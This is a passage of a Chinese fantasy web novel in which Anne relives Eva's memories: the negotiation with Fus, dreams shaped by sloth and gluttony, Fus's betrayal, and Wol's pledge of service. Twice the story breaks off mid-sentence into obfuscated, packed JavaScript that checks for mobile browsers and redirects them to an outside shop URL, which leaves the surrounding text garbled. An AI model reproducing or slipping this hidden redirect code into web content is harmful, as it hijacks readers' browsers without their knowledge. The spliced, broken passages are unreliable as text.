阿若盖特的出现让魔兽单纯的屠杀变得不是一边倒的碾压,弗斯收服“源”更是光明力量的又一次壮大,这谈判似乎在所难免。 安妮自然是知道谈判结果的,毕竟诸神之战已经爆发了。就像她明知道伊娃和三神的结果,还是希望误会解除一样。 但没用。 但她还是有些好奇。 好奇弗斯和伊娃谈了什么。 这是伊娃从未给她透露过的东西,因此收到邀请函的时候,安妮和伊娃一样惊诧。 伊娃接受得很干脆,不过没有着手准备什么——也不需要。 谈判是在中午,阳光最强烈的时候,不知道伊娃是不是有意想让天上的那三个人看见——可惜她们已经看不见了。 谈判地点是在一棵树下。 安妮本来好奇的是谈判内容,但到了地点,她首先注意到的是树。 这棵树,太大,大到遮云蔽日。最关键的是,树周围还有一些植物,就仿佛是在它的庇护下长大。 这样的情况很奇怪,毕竟之前安妮才看见过茁壮成长的大树——周围没有植物,延伸很远都没有。 尤其这棵树还那么像树爷爷…… 但她只能隐约感知到树上的灵气,树爷爷不现身,她也不确定。安妮只能把注意力放回谈判。 观察树的时间,伊娃和弗斯相继到来了。 看见伊娃的装束,弗斯一愣,但随后还是佯装镇定,先发制人:“你好,我就是邀请你的弗斯。” 他一边说,一边打量着伊娃。此时的他还稍显稚嫩,看人的眼神和语气都不算成熟。 安妮看得出,他的一举一动都带着疑惑。 这种情绪其实挺好理解:弗斯虽然不会谈判,但他也知道,一开始提的要求过分一点,之后的条件才容易被人接受。而他的条件是让伊娃停止率领魔兽攻击,这个要求完全和伊娃现在的行为背道而驰。 但是伊娃来了,而且态度不错,似乎非常接受这个提议。 弗斯不懂,但伊娃也不磨叽,直接开门见山:“你好,我叫伊娃,魔兽的主人。” 她说完没给弗斯时间,继续道:“我知道你很疑惑我为什么会来,也就是变相答应你的要求,至少可以谈判。 我也不想说太复杂,你只要知道,操控魔兽破坏不是我的本意。如果可以,我也想终止这一切。 归根结底,还是负面情绪的影响。你可以这么理解:我本来是一个保安,负责关闭异世界黑暗入侵的大门。但是有一天我被黑暗污染了,不得不找个地方宣泄。 魔兽,就是被我的黑暗污染的动物,它们负责杀戮,帮我释放黑暗。 我知道你的力量很强大,你如果有办法帮我净化那些负面情绪,魔兽自然不复存在。” 伊娃说这些的时候,看着的是弗斯,但安妮透过她的眼神,看到了无奈、祈求。 那是她对三神的解释,可惜,三神听不到了。 而此刻,听完全部的弗斯不会感同身受。 安妮看着伊娃走到弗斯面前,看着弗斯打开“源”,看着他的眉头蹙起,看着阴谋慢慢形成。 最后,弗斯给伊娃的回答是“等等”。 很快,他就会找到净化负面情绪的方法,很快,伊娃就不用再受折磨,很快,一切都会回归正轨。 真的是这样吗? 安妮知道不会,但此刻的伊娃不知道。 她只是看着伊娃喜极而泣,看着她郑重点头,看着弗斯悄然离开。她想告诉伊娃,弗斯做不到,他为你分担的时候也咬着唇全身发抖,他尝试净化也以失败告终。 但是做不到。 她也做不到。 伊娃曾经在说到弗斯欺骗她的时候那么轻描淡写,以至于现在安妮看到重拾希望的伊娃,心中还是不可避免地泛起疼痛。 伊娃又做梦了。 这次不是在另一个全新的世界,没有灰暗的墙壁,没有潮湿的空气,没有恶心的动物。 有的只是一片光明的圣殿。 看着熟悉的星月城,安妮有些疑惑。 就在这时,查瑞尔、格雷斯和缪斯出现,更加印证了安妮的猜想。 这就是星月城,伊娃所在的世界。 “辛诺,对不起,我们误会你了。” 查瑞尔抢先道。 “抱歉。” 格雷斯别开眼,但声音仍旧铿锵有力。 “我给你弹奏一曲吧。” 缪斯的声音空灵中带着讨好,这是以前从未有过的情绪。 安妮看见伊娃欣喜地点头,随后提议道:“我们先去老地方?” “对,差点忘了,还要去感谢帮你净化的弗斯!”查瑞尔笑道,“那正好,你们先去休息,我去谢谢他。” “我要不也去吧?” 伊娃眼中充满对弗斯的感激,亮得安妮不忍直视。她知道了,在梦境里,弗斯已经帮助伊娃净化了负面情绪,她们好像又回到了过去的生活——但是,真的回得去吗? “你去干什么?你去了缪斯给谁弹琴?你坐着就好!” 查瑞尔推了推伊娃,紧接着风风火火地离开。 一切都是那么真实,真实得不像梦境。 伊娃很快飞到了口中的“老地方”:一片青草地。周围还有花香环绕,清风徐来、阳光普照,惬意又温暖。 缪斯拿出清音琴开始弹奏,旋律悠扬,和花草一样沁人心脾。 伊娃躺在地上,昏昏欲睡。 就在这时,不远处忽然传来巨大的声响。这响声类似爆炸,让人心中一跳,随后又是一连串炸裂的响声,那处地方上的天空也被滚滚浓烟和不祥的红色覆盖。 伊娃正想起身,被格雷斯喊住。 “不用去,查瑞尔就在附近,她会管的。” 比起格雷斯的冷漠和缪斯的出尘,查瑞尔可以说是另一个方面的极端,伊娃立刻放下心,坐回草地。 过了一会儿,查瑞尔回来了,带着笑。 伊娃有些疑惑:“事情这么快就解决了?” “什么事?” “那边刚刚有爆炸声。” 格雷斯帮助伊娃简短回答了。 查瑞尔只是微微一笑:“有就有,人各有命,我们不需要去干涉。” 三神理所当然地点头,安妮一愣。 难道,查瑞尔并没有她想象的那么乐于助人? 查瑞尔坐到伊娃身边,这次,不再有任何声音打扰,伊娃和大家一直相处到黄昏过后。 多么舒适,可又多么短暂。 看着不远处逐渐消失在地平线的夕阳,伊娃长叹一口气:“走吧,该回去了。” “回去?” 出声的是查瑞尔。 伊娃疑惑转头:“不回去吗?你不是要开始巡逻了?” 她也尝试过在夜晚来临之际挽留查瑞尔,可惜从未成功过。那个曾经说“所有活过的生命都必须凋零,没有谁应该承受悲哀的永恒”的星使,还是不想生命就那样凋零。 可是现在,她竟然显得比查瑞尔还着急。 这不是伊娃的错觉,因为查瑞尔甚至没站起身。 “我都说了生死有命富贵在天,咱们去巡逻干嘛?坐下玩不好吗?” 这是她以前说过的话啊…… 伊娃有些错愕。 查瑞尔已经趁机把她拽下:“哎呀,不巡逻了,巡逻没意思。” 她一边说,一边随意地把星月牌一丢。 那个冰冷的木牌带着夜晚的凉意飞走,不知所踪。 “比起巡逻,陪你更重要!怎么,你不乐意?” “我当然乐意!” 伊娃勾唇,坐下。 她早就不想巡逻了。 这次终于没有任何打扰,甚至时间都给她们让路。 半神不需要睡觉,于是伊娃和三神玩到了天昏地暗。 安妮曾经也不知道自己在无妄森林里的时间为什么过得那么快,现在看见伊娃,知道了。 林子里全都是宝藏,即使吃饱了也可以抓鸡找兔,还有各种神奇的植物。好看的不一定好吃,好闻的可能会带刺,还有吹风的蒲公英,卷曲的含羞草…… 可以采下清晨树叶上的露珠,嘬一口夏日的清凉;也可以轻抚夜晚盛放的花朵,感受下生命的悸动。 曾经,她也幻想过和辛诺一起在森林玩耍的情景,大概就是这样了吧。 还有聊不完的话题,尤其去了灾难丛林,见识了人间后,伊娃能说的更多了。以身入局和旁观者的视角是完全不同的,感受也大相径庭。 但伊娃很少说另一个世界,大概是不想提起,也不知道如何提起。 就让那个世界在时间长河中慢慢被遗忘,也挺好。 时间就这样悄无声息地过去,这一天,安妮忽然感知到了不一样的波动。 人间的各种动静已经不足以惊扰伊娃,但天上不一样。 是空间裂缝。 安妮回想起伊娃的自我介绍:一个负责关门的保安。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17302033|198573||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >那么,合并空间裂缝,应该是她的责任了吧? 可是,见伊娃要走,查瑞尔还是拉住她的衣袖。 “辛诺你去哪?” “我去修补空间裂缝,很快回来。” 伊娃叹了口气,无奈解释。 就像一个即将出海,承诺会满载而归的渔民,劳累、疲惫,却不得不在生活的重压下行动起来。 其实,她很烦这项任务,但谁叫职责所在呢?——这是和查瑞尔主动巡逻不一样的。 但查瑞尔没松手。 “你就不怕再被污染吗?” “不是有弗斯吗?” “就算有,你也会难受啊!”查瑞尔蹙眉,“让天道自己修补就行了,我们不用去。” “这,不太好吧?” 伊娃小声反驳。 “有什么不好的,难道你很想去?” “当然不是……” 她何尝不害怕空间裂缝里又会出现什么脏东西?但是半神的职责,不就是守护世界吗?人间可以不管,空间裂缝也不管,岂不渎职? “渎职什么?是我们愿意成为半神的吗?半神再厉害也只是为了更好地服务天道,我们一出生就没有成神的可能,不过就是天道的走狗。别去了,玩自己的,让天道亲力亲为去。” 不得不说,查瑞尔这是实话。 半神确实就是这样的,这也是为什么,辛诺总是说“半神也是人”。除了坚持的平等思想,还因为半神和人一样,不是真神。 于是,安妮看见伊娃心安理得地再次坐下。 她们已经换了一个地方玩耍,在这里,看不到日月更替的时间流逝,也听不到人间的痛苦哀嚎。 现在,空间裂缝也不足以使唤伊娃了。 安妮大概知道了,这次的负面情绪是什么,但她不可抑制地共情伊娃,不可抑制地,也想休息。 懒惰吗?那本就是与生俱来的。 那个世界不已经告诉我们了? 懒惰,是万恶之首,万恶之源。 安妮以为,伊娃的梦境会在无尽的休息中结束。 但她还遇到了一件事。 是星月牌的能量波动,安妮感觉到了。 一开始还断断续续若有若无,后来越来越多,越来越强…… 伊娃看向身边戴着花环的查瑞尔:“是不是星月牌惹事了?” 持有星月牌可以在夜晚看清地面的情况,即使相隔千里也犹如近在咫尺,这样的能力对半神来说只是方便巡逻的,但对人类而言,有无穷的潜力。 查瑞尔却依旧不以为意,表情淡漠:“可能是吧,不用管。” 仿佛丢掉星月牌的不是她,一切和她没关系。 伊娃迟疑道:“毕竟是我们惹出的事,要不还是去看看吧?” 她的语气试探,眼神飘忽,因此没注意到查瑞尔一瞬间的错愕。但是安妮注意到了,她猜想可能是这个假查瑞尔在疑惑,疑惑伊娃放松这么久了,为什么还会往自己身上揽责任。 但总之,查瑞尔还是出手了。 把星月牌收了回来,仅此而已。 伊娃看着她手中的星月牌,问出了和安妮一样的疑惑:“不去看看吗?” 看看是谁妄图使用神的东西,是谁想要在人间制造混乱,然后奖励善良的,惩处邪恶的。 “你想去吗?” 查瑞尔看向伊娃,眼神中充满探究。 伊娃下意识回答:“不想。” 谁想做事?谁不想玩耍?如果说想去,那才是真的虚伪。 “那就别去了。” 格雷斯一锤定音。 伊娃这次站起都没有,得到回答后,便继续躺在草地上休息。安妮不知为何,看到和绿色融为一体的她,想到了另一个世界的一个案例。 温水煮青蛙。 一只活蹦乱跳的青蛙被丢进铁锅里,是可以一跃而出的高度,脚下,则是没过肚皮的凉水。 下方,火焰开启,灼烧着铁锅。铁锅里的水逐渐开始升温,但就像温泉水一样温暖,并不灼热。 青蛙也就没有跳出去的打算,还是待在锅里。 直到后来,水温逐渐让青蛙感到不适,逐渐开始沸腾…… 青蛙意识到危险,但再想跳出去,已经不行了。因为它的腿已经在温水长时间的浸泡中软下来,根本没有力气。 安妮不是这只青蛙,她是那个旁观一切的研究人员。 不是操控、设计了一切的主谋,但也算帮凶了。 人或许不能理解青蛙,但可以理解同类。 她过去不知道青蛙为什么不在水温上升的那一刻跳出去,但现在知道伊娃为什么会在查瑞尔不去的时候选择留下来。 时间就这样过去。 40.40 大梦初醒,恍若隔世。 伊娃再次醒来,是在莫斯卡的摇晃下。 这个在她懒惰梦境里都不曾出现过的人,如今却是唯一的伙伴。 伊娃迷迷糊糊睁眼,疑惑地看向莫斯卡。 她其实还有点没反应过来。 往常的梦境都巴不得让她难受至死,这还是第一次,梦如此美妙。即使场景不同,即使世界变换,伊娃还是知道,这就是七原罪组织的梦。 所以,为什么? 伊娃还没想明白这个,莫斯卡多话打断了她的思考。 “卜拉克来了,亚特兰蒂斯的人,她说有很重要的事情告诉你。” “卜拉克?” 伊娃此时对这个名字没什么反应,安妮却一愣。 是真的,卜拉克真的来自亚特兰蒂斯,伊娃没有骗她。 这个黑暗元首,用着最肮脏的手段敛财,却来自最纯净的地方。 “她说她的情报有关弗斯,你一定要见她。” “那就见!” 听到“弗斯”的名字,伊娃顿时感觉清醒了。 她的表情重新充满严肃和不安,和梦境截然相反,安妮看在眼里,却无法阻止。 卜拉克来了。 一身干练的湖蓝色运动装,搭配上白发,简洁帅气。紫色的眼眸闪闪发光,仿佛装着星辰大海。 虽然不是长裙,但更加鲜活明艳,和黑暗领域里死气沉沉的女人仿佛两个极端。 诸神之战以后,好多事情都变了。 安妮轻叹一口气,目睹卜拉克如何将伊娃喊进半成品的无妄空间。 然后,是和她相似的,不断试探。 试探无妄空间的极限,试探无妄空间的边界,也是在试探无妄空间的能量。这一次,没有任何人轻视它,即使是从中出来过的安妮,此刻也不想再踏足进去。 她只是和卜拉克一起等待伊娃投降,被放出来。 无妄空间因为是提前设计好的,因此时间已经被卜拉克控制恰当,伊娃在里面的二十年,只是现实的二十分钟。 卜拉克制造幻境的能力确实不错,至少安妮没看见伊娃提前出来。被卜拉克放出的时候,她眼神已经有些涣散。 安妮头一次感知到自己进入无妄空间后,伊娃陪伴在侧是多么幸运的事。 “他真的会把我困在这里面么?” 伊娃的声音很轻,如同曾经被欺骗的安妮,知道真相时一样难以置信,一样无法接受,可一样必须接受。 “你觉得我在亚特兰蒂斯活得好好的,会有闲工夫想出这种折磨人的空间玩?” 不得不说,这个理由无懈可击。 光是卜拉克代表亚特兰蒂斯出现,就足够无懈可击,毕竟他们能避世就避世。 “那你要我怎么做?” “牵制弗斯。”卜拉克言简意赅,“我的姐妹伊卡思和亚特兰蒂斯的人鱼会带着人鱼之心隐入深海,但进去的过程一定会被弗斯察觉,我们要的是你在这段时间牵制住弗斯,让我们逃走。” “我想,这一定也是你愿意的,毕竟人鱼之心不被我们带走,就只有被弗斯抢走制作最终极无妄空间一个结局。” 伊娃确实愿意。 她点头,答应了卜拉克的请求。 于是,安妮看着伊娃和卜拉克完善计划,看着她和莫斯卡运筹帷幄改良细节,看着她在深夜偷偷掩面绝望地哭泣…… 那个世界是真实存在的,那些负面情绪是真实存在的,又有谁能真正净化和消除呢? 她早该想到的。 弗斯收到了伊娃的邀请。 一场晚宴,话题很重要,但讨论什么暂且不提。 按理说,这样奇怪的邀请,弗斯不该前往的。但少年人就是冲动、自信。拥有“源”的他,除了不能帮助伊娃净化负面情绪,无所不能。 坐在餐桌上,莫斯卡拍拍手,顿时,侍者鱼贯而入。 一道道美味佳肴被端上餐桌,香气扑鼻、摆盘精致。就连用作装饰的花卉,都是精心挑选过的。 不像是森林,倒像是宫廷。 弗斯毕竟还是个未完全成年的半大孩子,还是村里出来的,看见这一切,新奇又兴奋。 莫斯卡勾唇:“希望你喜欢。” 不论多久,她伪装真诚的模样都从不会露馅。 弗斯回以微笑:“谢谢。” 紧接着,他看向伊娃,语带羡慕:“看来你在灾难丛林被照顾得很好……额,他们管这叫‘灾难丛林’,你不会介意吧?” 不得不说,弗斯到底还是年轻。若是成为加丁的他,绝对不会说这个,毕竟“灾难”因何而来大家都心知肚明。 而此刻,伊娃只是大度地摇头:“没事,我相信很快这里就会改名的。” 她说完,弗斯心虚地低头,开始吃饭。 安妮看见伊娃轻笑了一下,仿佛在嘲笑过去被蒙蔽的自己。紧接着,她也低下头,开始进食。 各种肉类被摆上餐桌,大块小块,伊娃全都来者不拒。还有面包素菜……只要是吃的,都进了伊娃的肚子。 哪怕是汤汁,都被她用作泡饭的工具。等待的间隙,还会品尝一些装饰摆盘的水果。 上菜的人络绎不绝,才能维持这样的状态,弗斯有些目瞪口呆,但随后还是低下头。 一顿饭,各有滋味。 过了一会儿,弗斯忽然为难地抬头:“那个……我有点事,恐怕要先走了。” “你终于舍得直视我了。” 伊娃答非所问,说的话让弗斯一愣。 他全身紧绷,似乎察觉到了什么。 “别紧张,我只是想问个问题。”伊娃咽下最后一口肉,含糊不清的口舌终于腾出空间,“你要骗我到什么时候?” 全场安静下来,弗斯这才注意到,莫斯卡和上菜的人已经消失了。 面前,是一大桌被伊娃消灭干净的餐盘。 “你不是可以帮我净化负面情绪吗?暴食是最简单的,你帮我啊?” 餐桌对面,女人的语气嘲讽,却带着她自己都察觉不到的卑微。 安妮喉头哽住。 她看向弗斯,少年眼中是被拆穿的心虚。 但他还在坚持:“你再等等,我现在……” “你现在还没拿到人鱼之心,没做出无妄空间,没办法违背承诺把我困进去。” “是么?” 伊娃说完一连串的话,仿佛失去了所有力气。 正是因为他年轻、他自信,所以伊娃那么相信,相信一个孩子会拯救她,相信一个孩子会给她希望。 可是,原来这个收复了神器的孩子也会欺骗,这个被“源”承认的孩子也会撒谎。 弗斯眼神躲闪,过了一会儿,仿佛被抽干了所有力气,叹道:“对不起,但是,我没办法。” “牺牲你一个,拯救源大陆,这是唯一的办法。” 少年人的声音,轻柔而坚定。 这大概也是最好的办法——如果自己不是被牺牲的那个的话。 伊娃体验过被困在无妄空间的绝望,也知道携带着无数负面情绪的自己进去会是什么后果,因此此刻,哪怕知道最好的结局是牺牲自己,她还是要反抗。 可以死去,但她不想在无尽的痛苦折磨中死去。 见伊娃不说话,弗斯继续叹气:“你阻止不了我的,既然你知道一切了,那我也不隐瞒了,咱们……就此别过。” 少年的话和未来老者那伪善的声音重合,安妮仿佛看见了百年后的加丁。这一刻,他们终于一样了。 不,本质上,他们就是一样的。一样自私,一样冷漠,一样是源大陆的走狗。 会得到“源”的承认,不是他有救世之心,而是他可以为了源大陆这个地方的安稳不择手段,不管源大陆是什么样。 安妮现在才明白,原来“源”,也不是干净的。 弗斯说完想要站起身,却感觉四肢一软。 眼神顿时化为惊恐。 伊娃嗤笑:“桌上的鲜花,我一朵都舍不得吃,你还喜欢吗?” 是的,她就是再饥饿也没有吃掉花瓶里的花。 “你下毒了?” “我要是下毒,‘源’早就出手保护你了,不是么?尽管我很想现在就杀了你,但我知道我伤害不了你。” “你就在这里坐着吧,等人鱼族都进入深海了,我自然会放你回去。放心,我没那么傻,杀你自寻死路。” “源”的能量再强,弗斯如今也不能完全使用。他只有在触发到危险的时候才能调动“源”,这就是保护装置的特性。 而此刻,伊娃只是让他留在原地。即使他失去反抗能力,只要伊娃不攻击,他就是安全的,“源”就是沉睡的。 以后的弗斯是能够使用“源”进行攻击的,但那个时候的神器“源”已经不叫“源”,而是“启元录”,力量也变弱了。 此刻,弗斯只能跟伊娃对坐着。 真相被捅破,已经没有交流下去的必要,伊娃也就失去了继续说话的兴趣。 她看着食物被一扫而空的餐桌,眼神逐渐涣散。 空空如也的光滑盘子里忽然有了东西,餐桌慢慢被填满。 最中心放着一只烤鸡。橙红的皮肤上均匀地涂满了料汁,被刀划开的肚子露出白嫩的鸡肉。一大口下去,爆汁的同时,滑嫩的鸡肉还不会噎人。 围绕烤鸡的是各种海鲜:装满蒜蓉的白肥生蚝,蚌肉点缀粉丝的肥美扇贝,去掉壳只剩软肉的龙虾,满是蟹黄的螃蟹…… 旁边是几块滑溜溜的五花肉。胖嘟嘟的肥肉和鲜红紧实的瘦肉交叠在一起,层次分明,格外诱人。轻晃一下盘子,好像整块肉都在颤抖。 紧接着是糖醋里脊,还没有靠近,就闻到了那酸甜的味道。番茄酱紧紧包裹着酥脆的外皮,脆嫩的口感令人满足。 边上的甜品是一块切角蛋糕,全身被脆壳巧克力包裹,上方是五彩缤纷的小糖点。切开,中心的软蛋糕掺杂着奶油,入口即化。 还有滴着露水的果子,冒着气泡的饮品…… 琳琅满目的食物包围着伊娃,各种香气杂而不乱。即使是旁观的安妮,也自认很难抵挡这样的诱惑。 何况是,知道自救无望的伊娃。 就这样堕落吧,也好。 她发泄般的进食,不曾品尝味道,却不知食物原来可以这么美味。 安妮看着伊娃夹起一块肉,放进嘴里,咀嚼。 应该是很满足的,但是她眼角渗出的泪水,却带着难以言喻的悲伤。 “砰!” “哗啦!” 这一下连安妮都怔住了,后退半步,才发现自己根本不受影响。那些美食被推倒在地,和泥泞的地面混为一体,失去了原有的诱人。 安妮目瞪口呆。 她看向伊娃,女人眼中,是怒火、是不甘、是拼命的反抗。 “凭什么!凭什么需要净化!难道我就不能抵抗你吗!”伊娃对着面前凌乱的餐桌,歇斯底里,“你们也不过如此!我不需要净化,我自己就可以!你们上啊!上啊!” 那是来自天使的骄傲,来自半神的怒吼,来自最纯净心灵的反抗。 安妮眼角一紧。 眼前的场景再次变换。 这一次,伊娃成了一条鱼。 海洋霸主:一条鲨鱼。 她大概是没反应过来的,因为首先看到并接受一切的是安妮。伊娃还在难以置信地环顾四周,茫然无措地使用鱼鳍。 她大概也不知道,自己的反抗会得到什么,又为什么会来到这里。 安妮其实也不知道。 但很快,她知道了。 伊娃被抓了。 一根巨大的针插进她的皮肤,锥刺的疼痛让她奋力摆动着鱼尾,拼命挣扎。但没有用,随着大网的落下,伊娃被收上岸。 但她还没窒息,也没有死。面前是几个狰狞的人脸,带着喜悦的贪婪神情让安妮心底一沉。 她分不清这是哪个世界,因为无论是那个世界还是这个世界,贪婪都存在。 疼痛还在伤口蔓延,麻醉使得伊娃全身无力。所有的神经好像都凝聚在了伤口处,但下一秒,是遍布全身的疼痛。 她的手,不,是鱼鳍。 她的鱼鳍被砍了下来。 刀刃锋利,配合熟练的动作,一切仿佛过得很快。但伊娃的疼痛是那么漫长,她能感受到刀片划破皮肤,器官被硬生生割裂的窒息。 大量的血液涌出,伊娃已经分不清是自己的,还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“行了,我知道了,把东西撤下去吧。” 伊娃说着扶额,想要离开。安妮知道她是累了,正想一起走,被莫斯卡喊住。 “等等,还有件事:沃尔找你。” “沃尔?” 伊娃满脸疑惑,倒是旁边的安妮一顿。 这个名字的记忆她已经模糊,但有一点毋庸置疑:战争之器。——战争的机器。 残忍至极,是他镌刻在安妮骨子里的印象。 但伊娃并不知道,莫斯卡也不知道,或者说,此刻的源大陆自己都不知道,有什么邪恶如此可怕。 她只是不在意地摆摆手:“让他进来。” 沃尔很快走进来,安妮并不清楚他的装束是否和未来的他一样,但起码他的神情里没有稚嫩。 紫黑色的长袍,穿在他身上只是相得益彰。 后面,是性感的萨芙和瘦削的摩斯。 他们全都意气风发,似乎刚完成了什么了不得的大事。不过伊娃不感兴趣,她只是开门见山:“干什么?” “看来您不太喜欢废话,那我就直说了……但有个问题必须搞明白,不知道您是否清楚,为什么弗斯需要人鱼族的人鱼之心?” 沃尔的态度堪称卑微,和籍籍无名的他倒是般配。 “弗斯需要人鱼之心制作无妄空间,困住我。” 这个扎人的事实,如今说出来,竟然能如此平和冷静。 “是的,但他原本计划的是让麦尔特和查纳金制作神器,不需要人鱼之心。” “制作神器?” 伊娃难得惊讶了。 沃尔满意笑笑:“是的,不要怀疑,麦尔特大师和查纳金大师联手,制作神器不在话下。” 他说得没错。 神装幽冥就是证据。 伊娃看向身边,还没走的莫斯卡贴心解释:“武器大师和炼金术士,一物一法,相辅相成,确实可以。但他们制作神器的消息,我没怎么打探到过……” “那是因为他们在苍翠群岛。”沃尔身后的萨芙接话,“哦不对,那里应该要改名了。” “改名?” “我们在制作神器的熔岩里下了毒,就算是远离人世的苍翠群岛,也会被污染。那里不苍翠了,改名叫‘暗影’更合适。” 沃尔微笑解释,轻描淡写的态度让安妮一惊。 原来,苍翠群岛真的存在,原来,麦尔特和查纳金紫色的皮肤,不是与生俱来…… “那他们呢?他们中毒了?” “显而易见的,要避免海水被污染,连累更多生灵,他们就必须吸收部分毒素。摩斯的毒连我都应付不来,净化很难,至于制作神器,那就更不可能了。” 沃尔的紫色皮肤仿佛在印证他说的话,身后,被点名的摩斯得意鞠躬,仿佛一位常胜将军。 “说吧,你要什么?” 如果这是未完成的事情,沃尔可能是需要帮助。但他已经完成一切,那么现在的行为,伊娃只能理解为邀功。 沃尔坦然一笑:“我只是想获得一个在您手下做事的机会,仅此而已。我们都把这叫什么来着?对,投名状!” 他说完,却没立刻得到伊娃的回答。 安妮知道,她是又陷入幻境了。 不,应该是回忆。 那个世界也有投名状,是人类的头颅,或者一场惨无人道的战争。 伊娃的回忆很短暂,安妮也看不到,她只是看着伊娃回神,露出一个微笑:“我可以答应你的要求,不过,为什么?” “什么?” “为什么要做这些?就只是为了投靠我?” 她一直以为战斗是没有选择的选择,她的现状也确实是被一步步逼迫至此,但沃尔明显不是。 “当然是,没有为什么。如果非要找个理由,大概是……和平世界不会接受英雄,乱世,才是我的天堂。” 沃尔眼中充满野心,那是伊娃依靠贪婪才激发出的情绪,在他眼中,却那么自然、纯粹。